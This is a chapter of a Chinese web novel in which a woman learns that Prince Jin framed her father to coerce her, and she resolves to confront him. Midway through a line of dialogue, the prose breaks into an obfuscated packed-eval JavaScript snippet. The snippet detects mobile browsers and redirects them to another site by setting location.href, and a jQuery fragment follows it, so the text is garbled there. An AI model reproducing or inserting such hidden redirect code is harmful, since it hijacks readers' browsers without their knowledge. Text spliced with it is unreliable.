沉默的时候，江母坐在一旁，看着女儿身上的华服，颇有些不知所措。也不知是从何时起，她愈发猜不透面前人的心思，或许是被养在宣州府时，也或许是嫁入武安侯府之后，亦或许两者皆有。 江母只依稀记得，女儿从宣州府回京城那一年，她惊觉自己这个女儿像极了自己那个婆母，柔弱的外表下是个极有主见的性子；嫁入武安侯府的那一年，则发现她多了许多弯弯绕绕的心思，便连自己这个做母亲的都猜不透她的想法。当下亦是如此。 不论如何，夫妇俩对她有所亏欠也是不争的事实。可如今，她能求的也只能是自己这个女儿。 到底是在武安侯府，江母不便久留，临走前，又殷殷叮嘱了她一番，还是只那一个意思，即她如今只有这个女儿可以依靠了，便莫要让她寒心，当全力为江父之事奔走求助。 江葭应了下来。 江母走后，听她如此哭闹一遭，江葭躺回到床榻上，心内亦堵得慌。 江父出事以来，她心中其实一直盘旋着一个疑问，却因为它太过荒谬，每每想起，几乎是下意识地就否定了它。方才同母亲的谈话则加重了心中这番猜疑。 既肯定了此事乃有心人推波助澜，那人针对的究竟是谁？ 若不是父亲，其实是自己呢？ 而若是这种可能，再联系先前的诸多巧合，她几乎是毫不犹豫地怀疑到一人身上。 可眼下并无实际证据，若是平白无故地怀疑他，非但不会有人相信自己，反而会再生事端。更何况，她也十分清楚，自己目前绝无与那人抗衡的实力。 思及此，她内心便愈发沉了沉。 “小姐，”瑞珠进屋，匆匆唤她，“二房那位过来了。” 江葭微蹙了眉，不得不中止思绪。自那日瑞珠摔伤了腿，她向陈淑芸要了三百两银子，二人便撕破了脸面，不再往来，今儿这又是怎么了。 心底虽疑惑，她还是示意瑞珠将她引进了屋。 陈淑芸亲自提了一个食盒过来，从中端出一碗热乎的汤药，见她躺在床榻上，似是关心问道，“许久未见，妹妹如何又病了？” 江葭目光落在那晚漆黑的药汤上，虽离得远些，那丝丝缕缕的苦味仍旧浓郁至极，强势地钻入她的鼻内。 陈淑芸见她满是戒备地看着自己，又笑道：“你莫多想，这不过是治疗风寒的药方，效果极佳，自是害不了你。” 江葭最是厌烦她说话弯弯绕绕，加之自己本就有心事，眼下同她逢场作戏也无甚意义，遂饮了口茶，直接了当道：“有话不妨直说。” 陈淑芸面上略僵了僵，随即依旧是那副温婉笑容：“自然是关心你，当然，妹妹如此年轻貌美，自然也有旁的人关心你，”她一顿，看向面前那碗汤药，意味深长道，“那人听说你害了风寒，特意命人抓来了药，太医院的方子可不好得啊。” 听到太医院那三字时，江葭险些失了手，将茶盏打翻在地。 陈淑芸恍若未觉，又侧身望向站在一旁的瑞珠，略过她的愕然神色，淡声道：“可得看着你家主子把这汤药趁热服下，若是冷了，便不好了。” 她转过身，深深看了江葭一眼：“你瞧，不过一日的功夫，你也未曾出过侯府，那人却连你得了什么病，哦不，是装的什么病都一清二楚，又何必在他面前玩弄心机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15096294|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，白费功夫呢？” 她目光略过那袖下不自觉发颤的手，自顾自笑了一声：“倒也不必如此惊慌失措，你可得想清楚。京中不论权贵士族，亦或是寻常百姓，皆挤破了脑袋想要把家中女儿往晋王后院里送。你如今正是年轻，又毫无依仗，总不能就这般在这候府里过一辈子吧？能得晋王青眼分明是幸事，又何必这般拧着不从？晋王既对你有意，你便乖乖地从了他便是，届时跟着他，不光少不了你的好处，便连你的家人亦少不得跟着你沾上那人的光。” 说完这话，见她脸上仍毫无动容之色，陈淑芸话音一转，声音也冷了些：“可你如此硬气，本来是桩幸事，如此一来，是福是祸就说不定了。” 说了这么些话，她有些口干舌燥，低头饮了口茶，却等来对方一句：“我知今儿这一趟是他授意你来的，你走罢。” 闻言，陈淑芸直觉气不打一处来，蓦地起身，咬牙道：“这泼天的荣华富贵就在眼前，竟还如此不识好歹，你怕不是个傻的！” 可眼下她还不能走，遂缓了缓，平复了一番心绪，点头道：“你说的不错，是晋王授意我来的，那你可知我为何要帮他？” 江葭这才缓缓将视线从窗外移开，注视着她。 陈淑芸蓦地抬手，指向一旁早已听得愣住的瑞珠： “你之前说得不错，她的腿的确是我指使人摔的，就是为了扫清障碍，方便安排你二人私会。你之后不是为了她，找我要了三百两白银么？可你兴许不知，晋王在这之后给了我一千三百两白银。除此之外，安哥儿也在他的照拂之下入宫作了皇子伴读。那人权势滔天，简直无所不能，你的那些个反抗的力气在他面前算得了什么……” 啪的一声，是极为清脆响亮的一道巴掌声。 打了她后，江葭颤抖着发红的手，冷冷吐了三字：“你无耻。” 陈淑芸偏过头去，不可置信地捂住一边脸颊。眼下火辣辣的痛楚传来，她脸色霎时变得铁青，理智也险些消失殆尽。 她何时受过这般耻辱，恨不能当即放下所有端庄贤良的世家夫人做派，和她当场扭打起来。到底是顾忌到晋王那处不好交待，她才忍了又忍，恶狠狠地看着她：“你以为你是谁，在那人面前，你有说不的权利吗？” “别说你了，我没有，整个武安侯府也都没有。成日躲在府里便可以装作无事发生么，莫痴心妄想了！” 她冷笑一声：“那人可并非什么心胸宽广的良善之辈，今日能把你父亲送入诏狱，明日要针对的就是你的母亲，你的弟弟，”她一顿，似是蓦地想起什么，看向江葭，“哦对了，事到如今，你不会还天真地以为你父亲此番入了诏狱，其后没有晋王的手笔吧？” 江葭猛地抬头，死死地盯着她。 “正是因为你，你父亲这样大的岁数还要入诏狱受一番磋磨，我倒想问问你，你良心可安？” 说罢，转身打开食盒，从最底层拿出账本，径直扔在她面前：“这对你来说算不得陌生吧？那人令我物归原主，你自个儿且好生看看。” 江葭紧盯着那账本，攥着锦被的指尖发白，瞬间遍体生寒。 话说到这份上，已是把那人交待的意思传达完毕了，陈淑芸今日本就蒙受了耻辱，自是不愿在她这处久待，遂径直出了观澜苑。她做了她应该做的事情，至于接下来江氏会如何做，便同她无甚干系了。 待她走后，江葭垂眼，目光落在账本上，覆在其上的手都在发抖。 心底升起莫大的悲哀之时，她又觉这一切荒谬得有些可笑。那人竟绕这么大一个圈子，将她逼入如今这般绝境，又看着她负隅顽抗，作困兽之斗。 如此，她又算是什么，是他晋王豢养在牢笼里的一只雀儿么？若合了他的心意，则赏下所谓的恩德，她还得对他千恩万谢才是；若不合他的心意，则是威逼恐吓，再于牢笼之外俯视着她，将她所有的反抗与努力尽收眼底，左右她也逃脱不了自己的手掌心。 她阖眼，深吸一口气，气得浑身发抖。 他可笑，自己可笑，这个世道也可笑得很。 父亲一向怀抱着为国为民的理想，苦读圣贤书多年，这才通过科考入仕。为官以来，向来清廉正直，兢兢业业。可这些皇亲贵胄呢？生来就理所应当地享用着一切，如今为了一己私欲，便可不择手段，栽赃陷害于他人。 何其无耻，何其可恨。 一旁的瑞珠今日从陈淑芸口中听来了太多信息，震惊了许久，同时也彻底明白了小姐这些日子的反常之处，如何能不心痛。见她一会儿哭一会儿笑，瑞珠忧心不已，开口轻轻唤了一声小姐的名讳。 江葭涣散的视线这才逐渐聚焦，看向她，嗓音有些沙哑：“你先出去罢，我想安静地待会儿……还有，帮我把那药汤倒了。” 瑞珠只得应下。 待她再进屋时，已至日落时分。 再见小姐时，见她面上无悲亦无喜，瑞珠心下暗惊。她倒宁愿小姐能尽兴地哭出来，也好过眼下如泥人一般，完全失了生气。 似是察觉到她打量着自己的眼神，江葭启唇，轻声道： “瑞珠，备轿，我要去晋王府。” 闻言，瑞珠霎时心惊胆战，猛地抬头看她。 她对这种感觉实在是太过熟悉，只一瞬，便明白小姐此时已下定了某种决心。 思及此，她喉间滚动几遭，本想说些什么，却很快意识到，自己什么也说不出口，什么也做不了，只得埋头忍着鼻酸，转身出了屋子。